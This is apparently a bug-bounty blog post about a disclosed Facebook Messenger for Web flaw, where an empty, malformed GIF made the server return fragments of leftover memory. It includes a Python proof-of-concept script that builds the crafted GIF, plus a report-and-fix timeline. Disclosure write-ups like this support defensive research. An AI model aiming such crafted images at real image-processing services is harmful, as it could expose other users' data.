Facebook Messenger server random memory exposure through corrupted GIF image

Intro

Year ago, in February 2018, I was testing Facebook Messenger for Android looking how it works with corrupted GIF images. I was inspired by Imagemagick "uninitialized memory disclosure in gif coder" bug and PoC called "gifoeb" (cool name for russian speakers). I found Messenger app only crashes with images generated by "gifoeb" tool with Nullpointer dereferrence (Facebook did't awarded bounty for DoS in Facebook Messenger for Android).
Ok. I thought: what is GIF image format and how it looks, how I can generate my own image?
(spoiler: 10K$ bug in Facebook Messenger for Web, but theory first)

Basic GIF image

I found clear description of GIF image format, the main header should look like this:


Offset   Length   Contents
  0      3 bytes  "GIF"
  3      3 bytes  "87a" or "89a"
  6      2 bytes  <Logical Screen Width>
  8      2 bytes  <Logical Screen Height>
 10      1 byte   bit 0:    Global Color Table Flag (GCTF)
                  bit 1..3: Color Resolution
                  bit 4:    Sort Flag to Global Color Table
                  bit 5..7: Size of Global Color Table: 2^(1+n)
 11      1 byte   <Background Color Index>
 12      1 byte   <Pixel Aspect Ratio>
 13      ? bytes  <Global Color Table(0..255 x 3 bytes) if GCTF is one>
         ? bytes  <Blocks>
         1 bytes  <Trailer> (0x3b)

(Full good description here: http://www.onicos.com/staff/iz/formats/gif.html#header)
I decided to create the basic GIF file with the minimal required fields.

Making own GIF

To create own GIF I've taken python to help me generate binary file


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import struct

screenWidth = 640
screenHeight = 480

f = open('test.gif', 'wb')

# Offset   Length   Contents
#   0      3 bytes  "GIF"
#   3      3 bytes  "87a" or "89a"
f.write(b"GIF89a")

#   6      2 bytes  <Logical Screen Width>
f.write(struct.pack('<h', screenWidth))

#   8      2 bytes  <Logical Screen Height>
f.write(struct.pack('<h', screenHeight))

#  10      1 byte   bit 0:    Global Color Table Flag (GCTF)
#                   bit 1..3: Color Resolution
#                   bit 4:    Sort Flag to Global Color Table
#                   bit 5..7: Size of Global Color Table: 2^(1+n)
bits = int('00000010', 2)
f.write(struct.pack('<b', bits))

#  11      1 byte   <Background Color Index>
f.write(struct.pack('<b', 0))

#  12      1 byte   <Pixel Aspect Ratio>
f.write(struct.pack('<b', 1))

#  13      ? bytes  <Global Color Table(0..255 x 3 bytes) if GCTF is one>

#          ? bytes  <Blocks>


# Offset   Length   Contents
#   0      1 byte   Image Separator (0x2c)
f.write(struct.pack('<b', 0x2c))

#   1      2 bytes  Image Left Position
f.write(struct.pack('<h', 0))

#   3      2 bytes  Image Top Position
f.write(struct.pack('<h', 0))

#   5      2 bytes  Image Width
f.write(struct.pack('<h', screenWidth))

#   7      2 bytes  Image Height
f.write(struct.pack('<h', screenHeight))

#   8      1 byte   bit 0:    Local Color Table Flag (LCTF)
#                   bit 1:    Interlace Flag
#                   bit 2:    Sort Flag
#                   bit 2..3: Reserved
#                   bit 4..7: Size of Local Color Table: 2^(1+n)
#          ? bytes  Local Color Table(0..255 x 3 bytes) if LCTF is one
f.write(struct.pack('<b', int('00000100', 2)))

#          1 byte   LZW Minimum Code Size
#f.write(struct.pack('<b', 1))

# [ // Blocks
#          1 byte   Block Size (s)
#f.write(struct.pack('<b', 1))

#         (s)bytes  Image Data
# ]*
#          1 byte   Block Terminator(0x00)
#f.write(struct.pack('<b', 0))


#          1 bytes  <Trailer> (0x3b)



f.write(struct.pack('<b', 0x3b))

f.close()

This script generates exactly the same image as we need. I left comments to see which headers we ignore in image, you can see that our GIF does't have image data blocks - it is empty, after color table flags goes trailer.

Facebook Messenger 

I started to test Facebook Messenger for Android with my generated GIFs (I had variations with different sizes, header fields), but nothing happened... Until I opened Messenger web page on my laptop and saw this weird image:
It was very small, increased size
Wait, but our GIF does't have any content, what image I have back from Facebook?
I had changed GIF size and saw this white noise image, hm, looks also weird:

No TV signal

Really strange. I've uploaded the same binary again and saw:

Embedded TV screen in Messenger
Image a bit changed. But I uploaded the same GIF in both cases.
After playing with GIF screen/image sizes:


Full screen picture
This reminds me situation when you tried to read image from file and used width instead of height.
Finally I caught this output:
Semi stable TV signal in Messenger caught
And I realized that I'm getting some previous buffer for GIF image, because my image does't have content body.

Timeline

26 FEB 2018: report sent to Facebook Team
01 MAR 2018: triaged
09 MAR 2018: fixed
21 MAR 2018: 10k$

Popular posts from this blog

Facebook Messenger for MacOS contained valid hardcoded FB access token (employee's token?)

React debug.keystore key was trusted by Meta(Facebook) which caused to Instagram account takeover by malicious apps.